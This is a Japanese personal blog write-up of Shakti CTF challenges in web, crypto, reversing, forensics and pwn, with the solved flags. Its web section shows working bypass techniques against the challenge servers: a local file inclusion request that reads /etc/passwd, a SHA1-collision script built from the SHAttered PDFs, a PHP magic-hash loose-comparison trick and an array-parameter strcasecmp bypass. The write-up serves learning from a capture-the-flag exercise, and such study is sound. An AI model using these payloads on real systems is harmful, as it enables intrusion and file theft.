kanyewest CTF

勉強したことをメモしています。

Shakti CTF: Write up

Web

AuthEN

ソースコードをみると

                <script>
                $(“.c_submit”).click(function(event) {
 event.preventDefault()
 var email = $(“#cuser”).val();
 var password = $(“#cpass”).val();
 if(username == “admin” && password == String.fromCharCode(115, 104, 97, 107, 116, 105, 99, 116, 102, 123, 98, 51, 121, 48, 110, 100, 95, 112, 117, 114, 51, 95, 99, 52, 108, 99, 117, 108, 97, 116, 105, 48, 110, 115, 125)) {
 if(document.location.href.indexOf(“?password=”) == -1) { 
 document.location = document.location.href + “?password=” + password;
 }
 } else {
 $(“#cresponse”).html(“<div class=’alert alert-danger’>Wrong password sorry.</div>”);
 }
 })
                </script>

と書かれているので

115, 104, 97, 107, 116, 105, 99, 116, 102, 123, 98, 51, 121, 48, 110, 100, 95, 112, 117, 114, 51, 95, 99, 52, 108, 99, 117, 108, 97, 116, 105, 48, 110, 115, 125

を変換すればいいことがわかる。

>>> str="115, 104, 97, 107, 116, 105, 99, 116, 102, 123, 98, 51, 121, 48, 110, 100, 95, 112, 117, 114, 51, 95, 99, 52, 108, 99, 117, 108, 97, 116, 105, 48, 110, 115, 125"
>>> str_list = str.split(", ")
>>> flag = ''
>>> for i in str_list:
...     flag += chr(int(i))
...
>>> flag
'shaktictf{b3y0nd_pur3_c4lculati0ns}'

Machine

http://34.72.245.53/Web/Machine/robots.txtにアクセスすると

User-agent: *
Allow: /var/www/html/
Disallow: /mkiujnbhytgbvfr.html

と出てくるので

http://34.72.245.53/Web/Machine/mkiujnbhytgbvfr.htmlにアクセスするだけ。

Biscuits

httpリクエストのクッキーを見るだけ。

f:id:tekashi:20201205141905p:plain

Ador

f:id:tekashi:20201205143017p:plain

ソースコードをみると

<!-- try the parameter `name` user -->

といわれてるので

http://104.198.67.251/Ador/?name=adminにアクセスすると

f:id:tekashi:20201205143028p:plain

Doors

ソースコード

<!-- ?page -->

って書いてあったので適当にパラメータに値を渡したら入力をそのまま出力していたのでXSSで南下するのかと思ったら単純に/etc/passwdを渡したらLFIの脆弱性があってそのままflagが出てきました。

http://35.225.9.113/Doors/?page=/etc/passwd

f:id:tekashi:20201205165326p:plain

PharAway

flag1

http://34.72.245.53/Web/PHPhar/?secret=1337aaaaaaaaa

f:id:tekashi:20201205171346p:plain

flag1はAn4ly71c4l_

flag2

sha1を衝突させる必要があるので

www.linkedin.com

これを参考にpython3用にスクリプトを書き換える。

import requests
import urllib
rotimi = urllib.request.urlopen(url="http://shattered.io/static/shattered-1.pdf").read()[:500];
letmein = urllib.request.urlopen(url="http://shattered.io/static/shattered-2.pdf").read()[:500];
 
r = requests.get('http://34.72.245.53/Web/PHPhar/', params={'secret': '1337aaaaaaaaa','a': rotimi, 'b': letmein});
print(r.text)

flag2はEng1n3

flag3

if (!isset($_GET["md4"]))
{
    
    die();
}

if ($_GET["md4"] == hash("md4", $_GET["md4"]))
{
    echo "<h1>".$flag[3]."</h1>";
}
else
{
    echo "bad";
}

stackoverflow.com

を参考にする。

<?php
$n = 0;
while (1) {
    $s = "0e$n";
    //echo "$s\n";
    $h = hash("md4",$s);
    if ($s == $h) break;
    $n++;
}
echo "$s : $h\n";
$ php solve.php
0e251288019 : 0e874956163641961271069404332409

flag3は!=D1ff3r3nc3

flag4

if (isset($_GET['abc'])){
    if (!strcasecmp ($_GET['abc'], $flag[4])){
        echo $flag[4];}}

hydrasky.com

を参考にする

http://34.72.245.53/Web/PHPhar/?secret=1337aaaaaaaaa&abc[]=0&md4:embed:cite

flag4はbad_Eng1n3}

よって、flagはshaktictf{An4ly71c4l_Eng1n3!=D1ff3r3nc3_Eng1n3}

Cryptography

3,2,1..Go

f:id:tekashi:20201205000058j:plain

enigmaで復号できることがわかる。

www.dcode.fr

このサイトで復号する

f:id:tekashi:20201205000202p:plain

よってflagはshaktictf{you_have_cracked_the_enigma_genius}

Easy Encoding

与えられた数字が2進数なので変換する。

f:id:tekashi:20201205000537p:plain

base64エンコードされてるっぽいので

$ echo -n 'NzM2ODYxNmI3NDY5NjM3NDY2N2I1NzM0NzI2ZDU1NzA1ZjQzNjgzNDZjNmMzMzZlNjczMzdk' | base64 -d
7368616b74696374667b5734726d55705f4368346c6c336e67337d

今度はハッシュ値っぽいので

f:id:tekashi:20201205000450p:plain

flagがでてきた。

Ancient Warfare

ただのROT13

f:id:tekashi:20201205000748p:plain

Reversing

Just-Run-It!

$ strings run
/lib64/ld-linux-x86-64.so.2
libc.so.6
printf
__cxa_finalize
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
AWAVI
AUATL
[]A\A]A^A_
Here's your flag! : shaktictf{and_that's_how_you_run_a_linux_binary!}
;*3$"
GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7698
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
run.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
_edata
printf@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment

PYthn

もとのスクリプト

Z=[]
k=[]
Q="K78m)hm=|cwsXhbH}uq5w4sJbPrw6"
def Fun(inp):
    st=[]
    for i in range (len(inp)):
        st.append(chr(ord(inp[i])^1))
    return(''.join(st))

def FuN(inp):
    for i in range(len(inp)):
        if(i<11):
            Z.append(chr(ord(inp[i])+i+5))
        else:
            Z.append(chr(ord(inp[i])+4))      
    return(''.join(Z))

def fuN(text,s): 
    result = "" 
    for i in range(len(text)): 
        char = text[i] 
        if(char.isnumeric()):
            result+=(chr(ord(char)-1))
        elif(char.isupper()): 
            result += chr((ord(char) + s-65) % 26 + 65) 
        else: 
            result+=(chr(ord(char)^1))
    return result 

X=input("Enter input:")
k=FuN(Fun(X))
if(Q!=k):
    print("NO")
else:
    print("Flag: shaktictf{"+X+"}")

なので

def Fun_reverse(inp):
    st=[]
    for i in range (len(inp)):
        st.append(chr(ord(inp[i])^1))
    return(''.join(st))

def FuN_reverse(inp):
    for i in range(len(inp)):
        if(i<11):
            Z.append(chr(ord(inp[i])-i-5))
        else:
            Z.append(chr(ord(inp[i])-4))      
    return(''.join(Z))

flag = Fun_reverse(FuN_reverse(Q))
print(flag)

を追加する。

$ python3 PYthn.py
G00d!_c0nTinUe_Expl0r1nG_Mor3

Damez

$ strings damez
/lib64/ld-linux-x86-64.so.2
-'o

libc.so.6
exit
fopen
puts
__stack_chk_fail
printf
strlen
__isoc99_fscanf
fclose
__cxa_finalize
strcmp
__libc_start_main
GLIBC_2.4
GLIBC_2.2.5
GLIBC_2.7
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
$u1H
[]A\A]A^A_
input.txt
Error! file input.txt not found
shaktictf{K33p_th3_gam3_g0ing_gurl!}
You got it! Flag: %s
Try Again! :)
:*3$"
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.8060
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
damez.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
__isoc99_fscanf@@GLIBC_2.7
puts@@GLIBC_2.2.5
_edata
fclose@@GLIBC_2.2.5
strlen@@GLIBC_2.2.5
__stack_chk_fail@@GLIBC_2.4
printf@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
strcmp@@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
fopen@@GLIBC_2.2.5
exit@@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment

Forensics

Shark on Wire

f:id:tekashi:20201205194845p:plain

Not That Easy

f:id:tekashi:20201205201513p:plain

f:id:tekashi:20201205201529p:plain

画像っぽいので取り出してみると

f:id:tekashi:20201205201546p:plain

QRコードが出てきました。

tool-taro.com

このサイトで読み取ってみると

f:id:tekashi:20201205201624p:plain

Pwn

Connect

$ nc 34.72.218.129 1111
You have successfully connected to our service!
To get your flag, please enter the appropriate bash commands.
cat flag.txt
shaktictf{w3lc0me_t0_th3_ar3na_c0mrade}